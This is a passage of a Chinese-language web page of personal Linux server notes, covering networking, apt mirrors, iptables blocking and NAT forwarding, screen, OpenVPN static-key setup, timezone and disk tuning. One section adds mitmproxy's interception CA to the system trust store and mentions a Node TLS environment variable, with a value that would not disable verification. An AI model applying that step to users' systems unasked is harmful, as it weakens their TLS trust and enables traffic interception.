class=\"md-nav__link\">\n    开机自启动wireguard\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#do-release-upgrade\" class=\"md-nav__link\">\n    修复失败的do-release-upgrade\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#wireguard_1\" class=\"md-nav__link\">\n    解决wireguard 内核模块编译失败\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#luks\" class=\"md-nav__link\">\n    LUKS\n  </a>\n  \n    <nav class=\"md-nav\" aria-label=\"LUKS\">\n      <ul class=\"md-nav__list\">\n        \n          <li class=\"md-nav__item\">\n  <a href=\"#_18\" class=\"md-nav__link\">\n    验证密钥是否正确\n  </a>\n  \n</li>\n        \n      </ul>\n    </nav>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#ntp-http\" class=\"md-nav__link\">\n    ntp的替代 使用http更新时间\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#rsync\" class=\"md-nav__link\">\n    使用rsync备份全盘\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_19\" class=\"md-nav__link\">\n    让特定进程走指定网卡\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zfs\" class=\"md-nav__link\">\n    配置高性能zfs\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#zfs_1\" class=\"md-nav__link\">\n    zfs快照与恢复\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#_20\" class=\"md-nav__link\">\n    硬盘测试\n  </a>\n  \n</li>\n      \n        <li class=\"md-nav__item\">\n  <a href=\"#etcfstab\" class=\"md-nav__link\">\n    验证/etc/fstab正确性\n  </a>\n  \n</li>\n      \n    </ul>\n  \n</nav>\n                  </div>\n                </div>\n              </div>\n            \n          \n          \n            <div class=\"md-content\" data-md-component=\"content\">\n              <article class=\"md-content__inner md-typeset\">\n                \n                  \n\n  \n  \n\n\n<h1 id=\"linux\">Linux系统配置<a class=\"headerlink\" href=\"#linux\" title=\"Permanent link\">&para;</a></h1>\n<p>本文档为Linux服务器的配置方面的笔记，Linux相关笔记还有：</p>\n<p><a href=\"../Linux-cli/\">Linux命令行操作技巧</a></p>\n<p><a href=\"../Linux-SSH/\">SSH远程登录</a></p>\n<p><a href=\"../Linux-backup/\">Linux备份</a></p>\n<p>TOC:</p>\n<hr />\n<h2 id=\"_1\">如何翻墙<a class=\"headerlink\" href=\"#_1\" title=\"Permanent link\">&para;</a></h2>\n<h2 id=\"shadowsocksprivoxyhttp-proxy\">部署shadowsocks客户端，并部署Privoxy提供http proxy<a class=\"headerlink\" href=\"#shadowsocksprivoxyhttp-proxy\" title=\"Permanent link\">&para;</a></h2>\n<p>代码参见<a href=\"../code/ssprivoxy.txt\">ssprivoxy.txt</a></p>\n<hr />\n<h2 id=\"ip\">配置有线静态IP<a class=\"headerlink\" href=\"#ip\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>vim<span class=\"w\"> </span>/etc/network/interfaces\n<span class=\"c1\"># 写入以下内容，请自行替换xx部分</span>\niface<span class=\"w\"> </span>eth0<span class=\"w\"> </span>inet<span class=\"w\"> </span>static\n<span class=\"w\"> </span>address<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.13<span class=\"w\"> </span><span class=\"c1\">#你需要设置的IP</span>\n<span class=\"w\"> </span>netmask<span class=\"w\"> </span><span class=\"m\">255</span>.255.255.0<span class=\"w\"> </span><span class=\"c1\">#子网掩码</span>\n<span class=\"w\"> </span>network<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.0\n<span class=\"w\"> </span>broadcast<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.255\n<span class=\"w\"> </span>gateway<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.254<span class=\"w\"> </span><span class=\"c1\">#网关</span>\n<span class=\"w\"> </span>dns-nameservers<span class=\"w\"> </span><span class=\"m\">10</span>.10.0.21<span class=\"w\"> </span><span class=\"c1\">#dns服务器</span>\n<span class=\"c1\"># 按Esc, :wq退出保存</span>\nservice<span class=\"w\"> </span>networking<span class=\"w\"> </span>restart\nifconfig<span class=\"w\"> </span>eth0<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.13<span class=\"w\"> </span>netmask<span class=\"w\"> </span><span class=\"m\">255</span>.255.255.0<span class=\"w\"> </span>up\nroute<span class=\"w\"> </span>add<span class=\"w\"> </span>default<span class=\"w\"> </span>eth0<span class=\"w\"> </span><span class=\"c1\">#路由配置也很重要，错误的路由将导致不能访问</span>\nroute<span class=\"w\"> </span>add<span class=\"w\"> </span>default<span class=\"w\"> </span>gw<span class=\"w\"> </span><span class=\"m\">10</span>.xx.xx.254<span class=\"w\"> </span>dev<span class=\"w\"> </span>eth0<span class=\"w\"> </span><span class=\"c1\">#这里设置为你的网关</span>\n</code></pre></div>\n\n<p>注意使用ifconfig进行ip的修改后，会丢失路由信息、额外的ip设置，需要重新配置route（执行上述两条route命令即可）</p>\n<h2 id=\"dhcpiprtnetlink-answers-file-exists\">配置为dhcp自动获取ip，解决RTNETLINK answers: File exists问题<a class=\"headerlink\" href=\"#dhcpiprtnetlink-answers-file-exists\" title=\"Permanent link\">&para;</a></h2>\n<p>之前已经配置过静态ip，现在要改为自动获取</p>\n<div class=\"codehilite\"><pre><span></span><code>dhclient eth0\n</code></pre></div>\n\n<p>出现报错RTNETLINK answers: File exists，解决方案：</p>\n<div class=\"codehilite\"><pre><span></span><code>ip addr flush dev eth0\n</code></pre></div>\n\n<h2 id=\"aptapt\">配置apt源以加速国内环境下apt速度<a class=\"headerlink\" href=\"#aptapt\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>curl http://mirrors.163.com/.help/sources.list.trusty&gt;/etc/apt/sources.list\n</code></pre></div>\n\n<p>如果还未安装curl，先手动写入这两行：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"k\">deb</span><span class=\"w\"> </span><span class=\"s\">http://mirrors.163.com/ubuntu/</span><span class=\"w\"> </span><span class=\"kp\">trusty</span><span class=\"w\"> </span><span class=\"kp\">main</span><span class=\"w\"> </span><span class=\"kp\">restricted</span><span class=\"w\"> </span><span class=\"kp\">universe</span><span class=\"w\"> </span><span class=\"kp\">multiverse</span>\n<span class=\"k\">deb</span><span class=\"w\"> </span><span class=\"s\">http://mirrors.163.com/ubuntu/</span><span class=\"w\"> </span><span class=\"kp\">trusty-security</span><span class=\"w\"> </span><span class=\"kp\">main</span><span class=\"w\"> </span><span class=\"kp\">restricted</span><span class=\"w\"> </span><span class=\"kp\">universe</span><span class=\"w\"> </span><span class=\"kp\">multiverse</span>\n</code></pre></div>\n\n<blockquote>\n<p>注：vim复制一行的命令为yy，粘贴为p</p>\n</blockquote>\n<p>或者通过sed替换：</p>\n<div class=\"codehilite\"><pre><span></span><code>sed -i &#39;s/security.ubuntu.com/mirrors.zju.edu.cn/g&#39; /etc/apt/sources.list\nsed -i &#39;s/archive.ubuntu.com/mirrors.zju.edu.cn/g&#39; /etc/apt/sources.list\n</code></pre></div>\n\n<h2 id=\"ip_1\">单网卡获得多个IP<a class=\"headerlink\" href=\"#ip_1\" title=\"Permanent link\">&para;</a></h2>\n<p>ifconfig eth0:233 10.xx.xx.233 netmask 255.255.255.0 up</p>\n<h2 id=\"apt\">解决apt依赖问题<a class=\"headerlink\" href=\"#apt\" title=\"Permanent link\">&para;</a></h2>\n<p>问题描述：服务器为ubuntu14.04版本，某些不明操作后，无法用<code>apt-get</code>安装任何东西</p>\n<div class=\"codehilite\"><pre><span></span><code>&gt;<span class=\"w\"> </span>apt-get<span class=\"w\"> </span>-f<span class=\"w\"> </span>install\nReading<span class=\"w\"> </span>package<span class=\"w\"> </span>lists...<span class=\"w\"> </span>Done\nBuilding<span class=\"w\"> </span>dependency<span class=\"w\"> </span>tree\nReading<span class=\"w\"> </span>state<span class=\"w\"> </span>information...<span class=\"w\"> </span>Done\nCorrecting<span class=\"w\"> </span>dependencies...<span class=\"w\"> </span>failed.\nThe<span class=\"w\"> </span>following<span class=\"w\"> </span>packages<span class=\"w\"> </span>have<span class=\"w\"> </span>unmet<span class=\"w\"> </span>dependencies:\n<span class=\"w\"> </span>libatk1.0-0<span class=\"w\"> </span>:<span class=\"w\"> </span>Depends:<span class=\"w\"> </span>libglib2.0-0<span class=\"w\"> </span><span class=\"o\">(</span>&gt;<span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">2</span>.41.1<span class=\"o\">)</span><span class=\"w\"> </span>but<span class=\"w\"> </span><span class=\"m\">2</span>.40.0-2<span class=\"w\"> </span>is<span class=\"w\"> </span>installed\n<span class=\"w\"> </span>libglib2.0-bin<span class=\"w\"> </span>:<span class=\"w\"> </span>Depends:<span class=\"w\"> </span>libglib2.0-0<span class=\"w\"> </span><span class=\"o\">(=</span><span class=\"w\"> </span><span class=\"m\">2</span>.44.0-1ubuntu3<span class=\"o\">)</span><span class=\"w\"> </span>but<span class=\"w\"> </span><span class=\"m\">2</span>.40.0-2<span class=\"w\"> </span>is<span class=\"w\"> </span>installed\n<span class=\"w\"> </span>libglib2.0-dev<span class=\"w\"> </span>:<span class=\"w\"> </span>Depends:<span class=\"w\"> </span>libglib2.0-0<span class=\"w\"> </span><span class=\"o\">(=</span><span class=\"w\"> </span><span class=\"m\">2</span>.44.0-1ubuntu3<span class=\"o\">)</span><span class=\"w\"> </span>but<span class=\"w\"> </span><span class=\"m\">2</span>.40.0-2<span class=\"w\"> </span>is<span class=\"w\"> </span>installed\n<span class=\"w\"> </span>libgtk2.0-0<span class=\"w\"> </span>:<span class=\"w\"> </span>Depends:<span class=\"w\"> </span>libglib2.0-0<span class=\"w\"> </span><span class=\"o\">(</span>&gt;<span class=\"o\">=</span><span class=\"w\"> </span><span class=\"m\">2</span>.41.1<span class=\"o\">)</span><span class=\"w\"> </span>but<span class=\"w\"> </span><span class=\"m\">2</span>.40.0-2<span class=\"w\"> </span>is<span class=\"w\"> </span>installed\nE:<span class=\"w\"> </span>Error,<span class=\"w\"> </span>pkgProblemResolver::Resolve<span class=\"w\"> </span>generated<span class=\"w\"> </span>breaks,<span class=\"w\"> </span>this<span class=\"w\"> </span>may<span class=\"w\"> </span>be<span class=\"w\"> </span>caused<span class=\"w\"> </span>by<span class=\"w\"> </span>held<span class=\"w\"> </span>packages.\nE:<span class=\"w\"> </span>Unable<span class=\"w\"> </span>to<span class=\"w\"> </span>correct<span class=\"w\"> </span>dependencies\n</code></pre></div>\n\n<p>仔细看错误说明，libglib2.0-bin这个软件包要求libglib2.0-0的版本=2.44但是现有的安装版本为2.40</p>\n<p>在ubuntu的软件包官网搜索咯：https://launchpad.net/ubuntu/</p>\n<p>发现2.44版本的是vivid才提供的，现在系统版本是trusty，自然apt-get装不了</p>\n<p>解决方案：</p>\n<p>找到报错信息需要的精确匹配的那个deb文件下载咯，例如这里就要下载这个版本的：</p>\n<p>https://launchpad.net/ubuntu/vivid/amd64/libglib2.0-0/2.44.0-1ubuntu3</p>\n<p>得到deb文件后<code>dpkg -i 文件名</code></p>\n<h3 id=\"note\">Note<a class=\"headerlink\" href=\"#note\" title=\"Permanent link\">&para;</a></h3>\n<p>一般apt依赖冲突问题都是由于系统版本与需要的包的版本不一致导致的，检查一下/etc/apt/sources.list看看是否匹配系统版本咯</p>\n<p>用apt-get前检查一下sources.list 看与当前<code>lsb-release -a</code>是否一致</p>\n<hr />\n<h2 id=\"unixbench\">UnixBench<a class=\"headerlink\" href=\"#unixbench\" title=\"Permanent link\">&para;</a></h2>\n<p>VPS性能测试工具，耗时较长，耐心等待</p>\n<div class=\"codehilite\"><pre><span></span><code>curl<span class=\"w\"> </span>https://codeload.github.com/kdlucas/byte-unixbench/zip/v5.1.3&gt;UnixBench.zip\nunzip<span class=\"w\"> </span>UnixBench.zip\n<span class=\"nb\">cd</span><span class=\"w\"> </span>byte-unixbench-5.1.3/UnixBench\n<span class=\"c1\"># apt-get install build-essential</span>\nmake\nscreen<span class=\"w\"> </span>-S<span class=\"w\"> </span>ub\n./Run\n</code></pre></div>\n\n<p>参考数据，均为最低配置：主机屋1590.5；阿里云1470.4；腾讯云1156.0</p>\n<h3 id=\"io\">硬盘IO性能测试<a class=\"headerlink\" href=\"#io\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">dd</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"o\">=/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">zero</span><span class=\"w\"> </span><span class=\"nv\">of</span><span class=\"o\">=</span><span class=\"nv\">test</span><span class=\"w\"> </span><span class=\"nv\">bs</span><span class=\"o\">=</span><span class=\"mi\">64</span><span class=\"nv\">k</span><span class=\"w\"> </span><span class=\"nv\">count</span><span class=\"o\">=</span><span class=\"mi\">4</span><span class=\"nv\">k</span><span class=\"w\"> </span><span class=\"nv\">oflag</span><span class=\"o\">=</span><span class=\"nv\">dsync</span>\n<span class=\"nv\">dd</span><span class=\"w\"> </span><span class=\"k\">if</span><span class=\"o\">=/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">zero</span><span class=\"w\"> </span><span class=\"nv\">of</span><span class=\"o\">=</span><span class=\"nv\">test</span><span class=\"w\"> </span><span class=\"nv\">bs</span><span class=\"o\">=</span><span class=\"mi\">8</span><span class=\"nv\">k</span><span class=\"w\"> </span><span class=\"nv\">count</span><span class=\"o\">=</span><span class=\"mi\">256</span><span class=\"nv\">k</span><span class=\"w\"> </span><span class=\"nv\">conv</span><span class=\"o\">=</span><span class=\"nv\">fdatasync</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_2\">清除内存缓存<a class=\"headerlink\" href=\"#_2\" title=\"Permanent link\">&para;</a></h2>\n<p>使用<code>free -h</code>查看可用内存前可以执行这个命令，查看除去buffer后的可用内存</p>\n<div class=\"codehilite\"><pre><span></span><code>sync\necho 3 &gt; /proc/sys/vm/drop_caches\n</code></pre></div>\n\n<hr />\n<h2 id=\"iptablesip\">使用iptables封ip<a class=\"headerlink\" href=\"#iptablesip\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"ip_2\">屏蔽单个IP<a class=\"headerlink\" href=\"#ip_2\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>iptables -I INPUT -s 123.45.6.7 -j DROP\n</code></pre></div>\n\n<h3 id=\"c\">封C段<a class=\"headerlink\" href=\"#c\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>iptables -I INPUT -s 123.45.6.0/24 -j DROP\n</code></pre></div>\n\n<h3 id=\"b\">封B段<a class=\"headerlink\" href=\"#b\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code> iptables -I INPUT -s 123.45.0.0/16 -j DROP\n</code></pre></div>\n\n<h3 id=\"a\">封A段<a class=\"headerlink\" href=\"#a\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>iptables -I INPUT -s 123.0.0.0/8 -j DROP\n</code></pre></div>\n\n<p>记得<strong>保存</strong>：</p>\n<div class=\"codehilite\"><pre><span></span><code>service iptables save\n</code></pre></div>\n\n<h2 id=\"_3\">删除一条规则<a class=\"headerlink\" href=\"#_3\" title=\"Permanent link\">&para;</a></h2>\n<p>只要把上述的插入规则重写一次，将其中的-I改为-D即可</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -D INPUT -s IP地址 -j DROP\n</code></pre></div>\n\n<p>如果懒得重写 你也可以先列举出规则所在的id，根据id删除：</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -L --line-numbers\n</code></pre></div>\n\n<p>假设你想删除INPUT链的第3条规则：</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -D INPUT 3\n</code></pre></div>\n\n<h2 id=\"ip_3\">只允许特定IP访问某端口<a class=\"headerlink\" href=\"#ip_3\" title=\"Permanent link\">&para;</a></h2>\n<p>iptables的插入次序很重要，先加入的会先匹配，所以拒绝策略应该最后加入</p>\n<p>以8888端口为例，只允许10.77.88.99这个IP 和 10.22.33.0/24 这个C段访问，其他来源的访问拒绝 返回connection refused</p>\n<div class=\"codehilite\"><pre><span></span><code>iptables -A INPUT -s 10.77.88.99 -p tcp --dport 8888 -j ACCEPT\niptables -A INPUT -s 10.22.33.0/24 -p tcp --dport 8888 -j ACCEPT\niptables -A INPUT -p tcp --dport 8888 -j REJECT\n</code></pre></div>\n\n<hr />\n<h2 id=\"rootscreen\">无root权限使用screen<a class=\"headerlink\" href=\"#rootscreen\" title=\"Permanent link\">&para;</a></h2>\n<blockquote>\n<p>https://www.gnu.org/software/screen/</p>\n</blockquote>\n<p>复制相同操作系统下的screen二进制文件，运行前指定环境变量</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"n\">p</span><span class=\"w\"> </span><span class=\"o\">$</span><span class=\"n\">HOME</span><span class=\"o\">/.</span><span class=\"n\">screen</span>\n<span class=\"k\">export</span><span class=\"w\"> </span><span class=\"n\">SCREENDIR</span><span class=\"o\">=$</span><span class=\"n\">HOME</span><span class=\"o\">/.</span><span class=\"n\">screen</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"screen\">screen的用法<a class=\"headerlink\" href=\"#screen\" title=\"Permanent link\">&para;</a></h2>\n<p>列出存在的screen：</p>\n<div class=\"codehilite\"><pre><span></span><code>screen -ls\n</code></pre></div>\n\n<p>创建一个名为name的screen：</p>\n<div class=\"codehilite\"><pre><span></span><code>screen -S name\n</code></pre></div>\n\n<p>从screen脱离：</p>\n<div class=\"codehilite\"><pre><span></span><code>按Ctrl+A后按d\n</code></pre></div>\n\n<p>重新连上名称为name的screen：</p>\n<div class=\"codehilite\"><pre><span></span><code>screen -r name\n</code></pre></div>\n\n<p>创建一个screen的自启动，让后台进程获得tty</p>\n<div class=\"codehilite\"><pre><span></span><code># 假设写好了一个/root/code.sh\nvim /etc/rc.local\n# 在最后加入一行，其中NAME替换为自己喜欢的名字\nscreen -dmS NAME /root/code.sh\n</code></pre></div>\n\n<p>举个例子&ndash;监测外网能否ping通，如果不能重连zjuvpn：</p>\n<p><a href=\"../code/pingtest.sh\">code/pingtest.sh</a></p>\n<hr />\n<h2 id=\"_4\">双网卡端口转发，暴露内网端口<a class=\"headerlink\" href=\"#_4\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG 端口转发</p>\n<blockquote>\n<p>来自： https://yq.aliyun.com/wenzhang/show_25824</p>\n</blockquote>\n<p>有两台机器，其中一台A 有内网和外网，B只有内网。</p>\n<p>目标： 在外网访问A机器的2121端口，就相当于连上了B机器的ftp(21)</p>\n<h3 id=\"_5\">环境：<a class=\"headerlink\" href=\"#_5\" title=\"Permanent link\">&para;</a></h3>\n<p>A机器外网IP为 1.2.3.4(eth1) 内网IP为 192.168.1.20 (eth0)</p>\n<p>B机器内网为 192.168.1.21</p>\n<h3 id=\"_6\">实现方法：<a class=\"headerlink\" href=\"#_6\" title=\"Permanent link\">&para;</a></h3>\n<p>首先在A机器上打开端口转发功能</p>\n<div class=\"codehilite\"><pre><span></span><code>    echo 1 &gt; /proc/sys/net/ipv4/ip_forward\n    echo -e &quot;\\nnet.ipv4.ip_forward = 1&quot;&gt;&gt;/etc/sysctl.conf\n    sysctl -p\n</code></pre></div>\n\n<p>然后在A机器上创建iptables规则</p>\n<div class=\"codehilite\"><pre><span></span><code># 把访问外网2121端口的包转发到内网ftp服务器\niptables -t nat -I PREROUTING -d 1.2.3.4 -p tcp --dport 2121 -j DNAT --to 192.168.1.21:21 \n\n# 把到内网ftp服务器的包回源到内网网卡上，不然包只能转到ftp服务器，而返回的包不能到达客户端\niptables -t nat -I POSTROUTING -d 192.168.1.21 -p tcp --dport 21 -j SNAT --to 192.168.1.20 \n\n# 保存一下规则\nservice iptables save\n</code></pre></div>\n\n<h3 id=\"_7\">取消转发方法<a class=\"headerlink\" href=\"#_7\" title=\"Permanent link\">&para;</a></h3>\n<p>iptables中把-I改为-D运行就是删除此条规则</p>\n<hr />\n<h2 id=\"_8\">保护重要系统文件防止被删<a class=\"headerlink\" href=\"#_8\" title=\"Permanent link\">&para;</a></h2>\n<p>使用+i标志位使得root用户也不能删除/bin, /sbin, /usr/sbin, /usr/bin, /usr/local/sbin, /usr/local/bin</p>\n<div class=\"codehilite\"><pre><span></span><code>chattr -R +i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\n</code></pre></div>\n\n<p>设置后无法apt-get安装新软件，需要先取消标志位</p>\n<div class=\"codehilite\"><pre><span></span><code>chattr -R -i /bin /sbin /usr/sbin /usr/bin /usr/local/sbin /usr/local/bin\n</code></pre></div>\n\n<hr />\n<h2 id=\"cpu\">查看CPU核心个数<a class=\"headerlink\" href=\"#cpu\" title=\"Permanent link\">&para;</a></h2>\n<p>一般我会用 <code>top</code> 命令，按 <code>1</code> 就能看到每个CPU占用情况</p>\n<p>但当CPU太多的时候还是需要执行命令的：</p>\n<div class=\"codehilite\"><pre><span></span><code># 查看物理CPU个数\ncat /proc/cpuinfo| grep &quot;physical id&quot;| sort| uniq| wc -l\n\n# 查看每个物理CPU中core的个数(即核数)\ncat /proc/cpuinfo| grep &quot;cpu cores&quot;| uniq\n\n# 查看逻辑CPU的个数\ncat /proc/cpuinfo| grep &quot;processor&quot;| wc -l\n</code></pre></div>\n\n<hr />\n<h2 id=\"_9\">非交互式添加用户<a class=\"headerlink\" href=\"#_9\" title=\"Permanent link\">&para;</a></h2>\n<div class=\"codehilite\"><pre><span></span><code>useradd username -m\necho username:badpassword|chpasswd\n</code></pre></div>\n\n<p>添加一个用户名为username的用户并创建home目录，并设置密码为badpassword</p>\n<hr />\n<h2 id=\"openvpn\">简单OpenVPN配置<a class=\"headerlink\" href=\"#openvpn\" title=\"Permanent link\">&para;</a></h2>\n<p>一个最最简单的场景：只有一个服务器 一个客户端，在容器中用来给用户直接访问的一个内网IP</p>\n<p>参考： https://openvpn.net/index.php/open-source/documentation/miscellaneous/78-static-key-mini-howto.html</p>\n<h3 id=\"openvpn_1\">安装openvpn:<a class=\"headerlink\" href=\"#openvpn_1\" title=\"Permanent link\">&para;</a></h3>\n<p>Linux:</p>\n<div class=\"codehilite\"><pre><span></span><code>apt-get install openvpn\n</code></pre></div>\n\n<p>Windows:</p>\n<p><a href=\"https://d.py3.io/openvpn.exe\">openvpn.exe</a></p>\n<h3 id=\"_10\">生成密钥<a class=\"headerlink\" href=\"#_10\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>openvpn --genkey --secret static.key\n</code></pre></div>\n\n<p>用另外建立的安全通道(SSH)将static.key发给客户端</p>\n<h3 id=\"_11\">服务端配置<a class=\"headerlink\" href=\"#_11\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>ifconfig 10.8.0.1 10.8.0.2\nsecret /static.key\nkeepalive 10 60\npersist-key\npersist-tun\nproto udp\nport 1194\ndev tun0\nstatus /tmp/openvpn-status.log\n\nuser nobody\ngroup nogroup\n</code></pre></div>\n\n<p>在 Ubuntu 中，如果要配置成系统服务的形式，将其保存到/etc/openvpn/myvpn.conf</p>\n<p>然后这样启动它：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">service</span><span class=\"w\"> </span><span class=\"n\">openvpn</span><span class=\"nv\">@myvpn</span><span class=\"w\"> </span><span class=\"k\">start</span>\n</code></pre></div>\n\n<p>这样设置开机自启</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"n\">systemctl</span><span class=\"w\"> </span><span class=\"n\">enable</span><span class=\"w\"> </span><span class=\"n\">openvpn</span><span class=\"nv\">@myvpn</span><span class=\"p\">.</span><span class=\"n\">service</span>\n</code></pre></div>\n\n<h3 id=\"_12\">客户端配置<a class=\"headerlink\" href=\"#_12\" title=\"Permanent link\">&para;</a></h3>\n<div class=\"codehilite\"><pre><span></span><code>remote 这里是你的服务器IP 这里是你的服务器端口 udp\ndev tun\nifconfig 10.8.0.2 10.8.0.1\nsecret static.key\n</code></pre></div>\n\n<h3 id=\"docker\">在Docker中使用服务端<a class=\"headerlink\" href=\"#docker\" title=\"Permanent link\">&para;</a></h3>\n<p>参考： https://raw.githubusercontent.com/kylemanna/docker-openvpn/master/bin/ovpn_run</p>\n<p>运行容器的时候一定要给参数<code>--cap-add=NET_ADMIN</code></p>\n<p>另外还需要在容器中执行：</p>\n<div class=\"codehilite\"><pre><span></span><code><span class=\"nv\">mkdir</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">p</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">net</span>\n<span class=\"k\">if</span><span class=\"w\"> </span>[<span class=\"w\"> </span><span class=\"o\">!</span><span class=\"w\"> </span><span class=\"o\">-</span><span class=\"nv\">c</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">net</span><span class=\"o\">/</span><span class=\"nv\">tun</span><span class=\"w\"> </span>]<span class=\"c1\">; then</span>\n<span class=\"w\">    </span><span class=\"nv\">mknod</span><span class=\"w\"> </span><span class=\"o\">/</span><span class=\"nv\">dev</span><span class=\"o\">/</span><span class=\"nv\">net</span><span class=\"o\">/</span><span class=\"nv\">tun</span><span class=\"w\"> </span><span class=\"nv\">c</span><span class=\"w\"> </span><span class=\"mi\">10</span><span class=\"w\"> </span><span class=\"mi\">200</span>\n<span class=\"nv\">fi</span>\n</code></pre></div>\n\n<hr />\n<h2 id=\"_13\">时区时间设置<a class=\"headerlink\" href=\"#_13\" title=\"Permanent link\">&para;</a></h2>\n<p>参考： http://liumissyou.blog.51cto.com/4828343/1302050</p>\n<p>设置为上海时区 UTC+8</p>\n<div class=\"codehilite\"><pre><span></span><code>apt-get install tzdata\ncp /etc/localtime /etc/localtime.bak\nln -svf /usr/share/zoneinfo/Asia/Shanghai /etc/localtime\necho &quot;TZ=&#39;Asia/Shanghai&#39;&quot;&gt;&gt;~/.bashrc\nntpdate cn.pool.ntp.org\n</code></pre></div>\n\n<p>修改时间可以用：</p>\n<div class=\"codehilite\"><pre><span></span><code>date -s &quot;2017-06-18 16:40:00&quot;\n</code></pre></div>\n\n<hr />\n<h2 id=\"ext4\">快速地格式化大分区ext4<a class=\"headerlink\" href=\"#ext4\" title=\"Permanent link\">&para;</a></h2>\n<p>Linux系统建议使用ext4分区格式，但直接mkfs.ext4 /dev/sda1就有很大的坑：会默认lazyinit在很长一段时间内占用IO</p>\n<blockquote>\n<p>参考： <a href=\"http://fibrevillage.com/storage/474-ext4-lazy-init\">http://fibrevillage.com/storage/474-ext4-lazy-init</a></p>\n</blockquote>\n<p>适用于存储少量大文件的格式化大硬盘的方法如下，这样不会跳过初始化磁盘的过程而且初始化过程很快：</p>\n<div class=\"codehilite\"><pre><span></span><code>mkfs.ext4 /dev/sdXX -E lazy_itable_init=0,lazy_journal_init=0 -O sparse_super,large_file -m 0 -T largefile4\n</code></pre></div>\n\n<p>对应的<a href=\"http://manpages.ubuntu.com/manpages/precise/en/man8/mkfs.ext4.8.html\">man文档</a></p>\n<hr />\n<h2 id=\"ssd\">优化本地ssd性能<a class=\"headerlink\" href=\"#ssd\" title=\"Permanent link\">&para;</a></h2>\n<p>参考 https://cloud.google.com/compute/docs/disks/optimizing-pd-performance\nhttps://cloud.google.com/compute/docs/disks/optimizing-local-ssd-performance</p>\n<div class=\"codehilite\"><pre><span></span><code>mkfs.ext4 -E lazy_itable_init=0,lazy_journal_init=0,discard /dev/sdX\nmount -o discard,defaults,nobarrier /dev/sdX /mnt\necho none &gt; /sys/block/sdX/queue/scheduler\n</code></pre></div>\n\n<h3 id=\"readahead\">调整 readahead 值<a class=\"headerlink\" href=\"#readahead\" title=\"Permanent link\">&para;</a></h3>\n<p>对于随机读写的应用如数据库，建议使用更小的readahead值</p>\n<blockquote>\n<p>较高的 readahead 值可增加吞吐量，但是会占用更多内存和 IOPS。较低的 readahead 值可增加 IOPS，但是会牺牲吞吐量。\nreadahead 值为 <desired_readahead_bytes> / 512 字节。</p>\n</blockquote>\n<p>例如预读设置为32KB的话，就应该设置为<code>32*1024/512=64</code></p>\n<div class=\"codehilite\"><pre><span></span><code>blockdev --setra 64 /dev/sdX\n</code></pre></div>\n\n<hr />\n<h2 id=\"ca-mitmproxy\">添加受信任的CA证书 mitmproxy<a class=\"headerlink\" href=\"#ca-mitmproxy\" title=\"Permanent link\">&para;</a></h2>\n<p>@TAG mitm</p>\n<div class=\"codehilite\"><pre><span></span><code>cat ~/.mitmproxy/mitmproxy-ca-cert.pem &gt;&gt; /etc/ssl/certs/ca-certificates.crt\n</code></pre></div>\n\n<p>对于nodejs这个可能也没用，直接<code>export NODE_TLS_REJECT_UNAUTHORIZED=1</code></p>\n<hr />\n<h2 id=\"inodebtrfs\">明明还有大量空间却说没有？inode满了！挂载单个文件为btrfs分区<a class=\"headerlink\" href=\"#inodebtrfs\" title=\"Permanent link\">&para;</a></h2>\n<h3 id=\"_14\">问题现象<a class=\"headerlink\" href=\"#_14\" title=\"Permanent link\">&para;</a></h3>\n<p><code>df -h</code>显示还有很多空间，但<code>echo test&gt;test.txt</code>会显示<code>No space left on device</code></p>\n<p>查到这个： 